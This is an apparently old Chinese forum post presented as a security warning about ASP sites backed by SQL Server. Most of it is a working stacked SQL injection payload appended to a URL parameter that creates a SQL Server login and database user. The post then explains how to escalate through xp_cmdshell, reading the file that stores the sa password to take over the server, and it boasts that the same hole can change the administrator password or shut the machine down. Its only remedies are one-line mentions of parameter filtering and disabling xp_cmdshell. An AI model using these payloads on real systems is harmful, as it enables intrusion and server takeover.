ASP程序+数据库安全一例
为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。BUG描述:
把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
BUG讲解:
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
BUG消除:
程序增加参数过滤
附:sp_addlogin和sp_adduser语法
sp_addlogin [@loginame =] 'login'
[,][@passwd =] 'password']
[,][@defdb =] 'database']
[,][@deflanguage =] 'language']
[,[@sid =] 'sid']
[,][@encryptopt =] 'encryption_option']
sp_adduser [@loginame =] 'login'
[,][@name_in_db =] 'user']
[,][@grpname =] 'group']
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
页:
[1]